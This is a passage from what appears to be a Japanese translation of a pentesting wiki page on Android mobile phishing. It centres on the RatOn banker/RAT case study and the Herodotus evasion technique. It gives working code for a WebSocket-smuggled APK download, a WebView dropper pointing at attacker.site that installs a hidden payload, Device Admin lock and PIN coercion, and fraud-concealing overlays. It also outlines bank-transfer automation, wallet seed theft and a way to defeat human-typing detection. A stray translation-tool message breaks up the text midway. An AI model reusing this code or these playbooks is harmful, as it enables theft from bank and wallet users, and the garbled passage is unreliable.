// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

なぜ簡単な制御を回避するのか:
- 静的な APK URL は公開されない; payload は WebSocket frames からメモリ上で再構築される。
- 直接の .apk レスポンスをブロックする URL/MIME/拡張子フィルタは、WebSockets/Socket.IO を経由してトンネリングされたバイナリデータを見逃す可能性がある。
- WebSockets を実行しないクローラや URL サンドボックスは payload を取得できない。

参照: WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn のケーススタディ

RatOn banker/RAT campaign (ThreatFabric) は、現代のモバイル phishing オペレーションが WebView droppers、Accessibility-driven UI automation、overlays/ransom、Device Admin coercion、Automated Transfer System (ATS)、crypto wallet takeover、さらには NFC-relay orchestration を組み合わせる具体例である。本節では再利用可能な手法を抽象化する。

### Stage-1: WebView → native install bridge (dropper)
攻撃者は攻撃者ページを指す WebView を表示し、native installer を公開する JavaScript インターフェイスを注入する。HTML button をタップすると native code が呼ばれ、dropper の assets にバンドルされた second-stage APK をインストールして直接起動する。

Minimal pattern:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

翻訳する対象のファイル内容が提示されていません。src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md の該当部分（Markdown/HTML）を貼り付けてください。タグやリンク、コードは翻訳せずそのまま残します。

<button onclick="bridge.installApk()">Install</button>

インストール後、dropper は明示的な package/activity 経由で payload を起動します:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: untrusted apps calling addJavascriptInterface() and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under assets/ and invoking the Package Installer Session API.

Consent funnel: Accessibility + Device Admin + follow-on runtime prompts

Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.

• Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
• Overlay permission check/request:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

参照:

Accessibility Services Abuse

WebView を使った Overlay phishing/ransom

オペレーターは以下のコマンドを発行できる:

• URL からフルスクリーンのオーバーレイを表示する、または
• インラインHTMLを渡して WebView のオーバーレイに読み込ませる。

想定される用途: 強要（PIN入力）、ウォレットを開かせてPINを取得する、身代金メッセージ送信。オーバーレイ権限がない場合に付与を確認するコマンドを用意しておくこと。

Remote control model – テキスト擬似スクリーン + screen-cast

• Low-bandwidth: 定期的に Accessibility ノードツリーをダンプし、表示されているテキスト/roles/bounds をシリアライズして疑似スクリーンとして C2 に送信する（例: 一度だけの txt_screen、継続的な screen_live）。
• High-fidelity: MediaProjection を要求し、必要に応じて screen-casting/recording を開始する（例: display / record）。

ATS playbook (bank app automation)

JSON タスクを受け取り、銀行アプリを起動し、Accessibility を使ってテキスト検索や座標タップを組み合わせて UI を操作し、要求されたら被害者の支払いPINを入力する。

例のタスク:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

あるターゲットフローで見られた例文 (CZ → EN):

• “Nová platba” → “新しい支払い”
• “Zadat platbu” → “支払いを入力”
• “Nový příjemce” → “新しい受取人”
• “Domácí číslo účtu” → “国内口座番号”
• “Další” → “次へ”
• “Odeslat” → “送信”
• “Ano, pokračovat” → “はい、続行”
• “Zaplatit” → “支払う”
• “Hotovo” → “完了”

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Crypto wallet seed extraction

対象例: MetaMask、Trust Wallet、Blockchain.com、Phantom。
フロー: アンロック（盗まれた PIN または提供されたパスワード）、Security/Recovery に移動、シードフレーズを表示、keylog/exfiltrate it。EN/RU/CZ/SK を考慮したロケール対応セレクタを実装し、言語間でのナビゲーションを安定させる。

Device Admin coercion

Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:

• Immediate lock:

dpm.lockNow();

• 現在の認証情報を期限切れにして変更を強制する (Accessibility が新しい PIN/パスワードを取得する):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• keyguard の生体認証機能を無効化して生体認証以外でのロック解除を強制する:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

注意: 最近の Android では多くの DevicePolicyManager コントロールが Device Owner/Profile Owner を必要とする; 一部の OEM ビルドは緩い場合がある。ターゲットの OS/OEM 上で必ず検証すること。

NFC relay orchestration (NFSkate)

Stage-3 は外部の NFC-relay モジュール（例: NFSkate）をインストール・起動し、中継中に被害者を誘導するための HTML テンプレートを渡すことさえ可能。これにより、オンライン ATS と並行した非接触カードプレゼントのキャッシュアウトが可能になる。

Background: NFSkate NFC relay.

Operator command set (sample)

• UI/state: txt_screen, screen_live, display, record
• Social: send_push, Facebook, WhatsApp
• Overlays: overlay (インライン HTML), block (URL), block_off, access_tint
• Wallets: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Device: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

脅威アクターはますます Accessibility 駆動の自動化と、基本的な行動バイオメトリクスに対する検知回避を組み合わせている。最近の banker/RAT は、相補的な2つのテキスト配信モードと、ランダム化されたケイデンスで人間のタイピングを模倣するためのオペレータトグルを備えている。

• Discovery mode: 操作前にセレクタと bounds で可視ノードを列挙し、入力を正確にターゲットする（ID、text、contentDescription、hint、bounds）。
• Dual text injection:
• Mode 1 – ACTION_SET_TEXT を直接ターゲットノードに適用（安定、キーボード不要）
• Mode 2 – クリップボード設定 + ACTION_PASTE をフォーカスされたノードに実行（直接 setText がブロックされる場合に有効）
• Human-like cadence: オペレータが提供した文字列を分割し、イベント間でランダム化された300–3000 ms の遅延を挟んで1文字ずつ送信し、「machine-speed typing」ヒューリスティクスを回避する。実装は ACTION_SET_TEXT で値を段階的に増加させる方法、または1文字ずつ貼り付ける方法のいずれか。

</details>

詐欺を隠すためのブロッキングオーバーレイ：
- オペレータが制御する不透明度でフルスクリーンの `TYPE_ACCESSIBILITY_OVERLAY` をレンダリングする。リモート自動化が背後で進行している間、被害者には不透明なままにしておく。
- 一般的に公開されるコマンド: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

アルファを調整可能な最小限のオーバーレイ：
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);